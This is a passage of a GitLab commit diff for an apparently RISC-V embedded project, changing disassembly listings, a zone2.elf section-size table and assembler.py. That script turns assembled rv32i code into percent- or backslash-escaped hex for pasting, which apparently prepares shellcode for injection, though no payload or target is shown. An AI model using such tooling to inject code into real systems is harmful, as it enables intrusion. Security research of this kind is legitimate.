- 2fc:	2bc0                	fld	fs0,144(a5)
- 2fe:	2040                	fld	fs0,128(s0)
- 300:	0054                	addi	a3,sp,4
+ 2fc:	000c                	0xc
+ 2fe:	0000                	unimp
+ 300:	02ac                	addi	a1,sp,328
  302:	0000                	unimp
- 304:	0e42                	slli	t3,t3,0x10
- 306:	4610                	lw	a2,8(a2)
- 308:	0288                	addi	a0,sp,320
- 30a:	0389                	addi	t2,t2,2
- 30c:	0181                	addi	gp,gp,0
- 30e:	0a5e                	slli	s4,s4,0x17
- 310:	42c1                	li	t0,16
- 312:	44c8                	lw	a0,12(s1)
- 314:	42c9                	li	t0,18
- 316:	000e                	c.slli	zero,0x3
- 318:	0b42                	slli	s6,s6,0x10
+ 304:	22cc                	fld	fa1,128(a3)
+ 306:	2040                	fld	fs0,128(s0)
+ 308:	0004                	0x4
+ 30a:	0000                	unimp
+ 30c:	001c                	0x1c
+ 30e:	0000                	unimp
+ 310:	02ac                	addi	a1,sp,328
+ 312:	0000                	unimp
+ 314:	22d0                	fld	fa2,128(a3)
+ 316:	2040                	fld	fs0,128(s0)
+ 318:	002e                	c.slli	zero,0xb
  31a:	0000                	unimp
- 31c:	000c                	0xc
- 31e:	0000                	unimp
- 320:	ffff                	0xffff
- 322:	ffff                	0xffff
- 324:	7c010003          	lb	zero,1984(sp)
- 328:	0d01                	addi	s10,s10,0
- 32a:	0002                	c.slli64	zero
- 32c:	000c                	0xc
+ 31c:	0e42                	slli	t3,t3,0x10
+ 31e:	4a10                	lw	a2,16(a2)
+ 320:	0181                	addi	gp,gp,0
+ 322:	0a5a                	slli	s4,s4,0x16
+ 324:	42c1                	li	t0,16
+ 326:	000e                	c.slli	zero,0x3
+ 328:	0b42                	slli	s6,s6,0x10
+ 32a:	0000                	unimp
+ 32c:	0024                	addi	s1,sp,8
  32e:	0000                	unimp
- 330:	031c                	addi	a5,sp,384
+ 330:	02ac                	addi	a1,sp,328
  332:	0000                	unimp
- 334:	2c14                	fld	fa3,24(s0)
+ 334:	22fe                	fld	ft5,472(sp)
  336:	2040                	fld	fs0,128(s0)
- 338:	002a                	c.slli	zero,0xa
+ 338:	003a                	c.slli	zero,0xe
+ 33a:	0000                	unimp
+ 33c:	0e42                	slli	t3,t3,0x10
+ 33e:	4610                	lw	a2,8(a2)
+ 340:	0288                	addi	a0,sp,320
+ 342:	0389                	addi	t2,t2,2
+ 344:	0181                	addi	gp,gp,0
+ 346:	0a5a                	slli	s4,s4,0x16
+ 348:	42c1                	li	t0,16
+ 34a:	42c8                	lw	a0,4(a3)
+ 34c:	42c9                	li	t0,18
+ 34e:	000e                	c.slli	zero,0x3
+ 350:	0b42                	slli	s6,s6,0x10
+ 352:	0000                	unimp
+ 354:	0024                	addi	s1,sp,8
+ 356:	0000                	unimp
+ 358:	02ac                	addi	a1,sp,328
+ 35a:	0000                	unimp
+ 35c:	2338                	fld	fa4,64(a4)
+ 35e:	2040                	fld	fs0,128(s0)
+ 360:	0052                	c.slli	zero,0x14
+ 362:	0000                	unimp
+ 364:	0e42                	slli	t3,t3,0x10
+ 366:	4610                	lw	a2,8(a2)
+ 368:	0288                	addi	a0,sp,320
+ 36a:	0389                	addi	t2,t2,2
+ 36c:	0181                	addi	gp,gp,0
+ 36e:	0a5c                	addi	a5,sp,276
+ 370:	42c1                	li	t0,16
+ 372:	44c8                	lw	a0,12(s1)
+ 374:	42c9                	li	t0,18
+ 376:	000e                	c.slli	zero,0x3
+ 378:	0b42                	slli	s6,s6,0x10
 	...
diff --git a/ArtyImplementation/zone2/zone2.siz b/ArtyImplementation/zone2/zone2.siz
index 9cde298..9128cc0 100644
--- a/ArtyImplementation/zone2/zone2.siz
+++ b/ArtyImplementation/zone2/zone2.siz
@@ -1,24 +1,24 @@
 zone2.elf  :
-section               size         addr
-.init                  112    541071360
-.text                14760    541071472
-.rodata               3528    541086232
-.data                  112   2147538944
-.sdata                  16   2147539056
-.bss                   760   2147539072
-.stack                2048   2147539840
-.heap                 1152   2147541888
-.riscv.attributes       43            0
-.comment                18            0
-.debug_line          16407            0
-.debug_info          13825            0
-.debug_abbrev         2385            0
-.debug_aranges         336            0
-.debug_str           42528            0
-.debug_loc            9820            0
-.debug_ranges         1344            0
-.debug_macro         11584            0
-.debug_frame           828            0
-Total               121606
+section              size         addr
+.init                 112    541071360
+.text                9092    541071472
+.rodata              2344    541080568
+.data                  96   2147538944
+.sdata                 24   2147539040
+.bss                  360   2147539064
+.stack               2048   2147539424
+.heap                1568   2147541472
+.riscv.attributes      43            0
+.comment               18            0
+.debug_line         10000            0
+.debug_info          8135            0
+.debug_abbrev        1769            0
+.debug_aranges        288            0
+.debug_str          42263            0
+.debug_loc           2711            0
+.debug_ranges         576            0
+.debug_macro        12980            0
+.debug_frame          892            0
+Total               95319
 
 
diff --git a/assembler.py b/assembler.py
index 8ee0530..437b33e 100755
--- a/assembler.py
+++ b/assembler.py
@@ -9,7 +9,7 @@ march = "rv32i"
 reverse_bytes = True
 # "%", for percent encoding
 # "\\x", if no percent decoding occurs
-encode_char = "\\x"
+encode_char = "%"
 
 def split_hex_str(hex_str):
     return [hex_str[0:2], hex_str[2:4], hex_str[4:6], hex_str[6:8]]
@@ -103,4 +103,5 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu
 print("running xclip for hex to clipboard")
 subprocess.run(["xclip", "-selection", "clipboard", "-noutf8", "-in", "i_am_bin_dump"])
 #if needed when xclip does not work, do not delete i_am_bin_dump here and cat & copy it
-subprocess.run(["rm", "a.out", "i_am_bin_dump"])
+subprocess.run(["rm", "a.out"])
+#subprocess.run(["rm", "a.out", "i_am_bin_dump"])
-- 
GitLab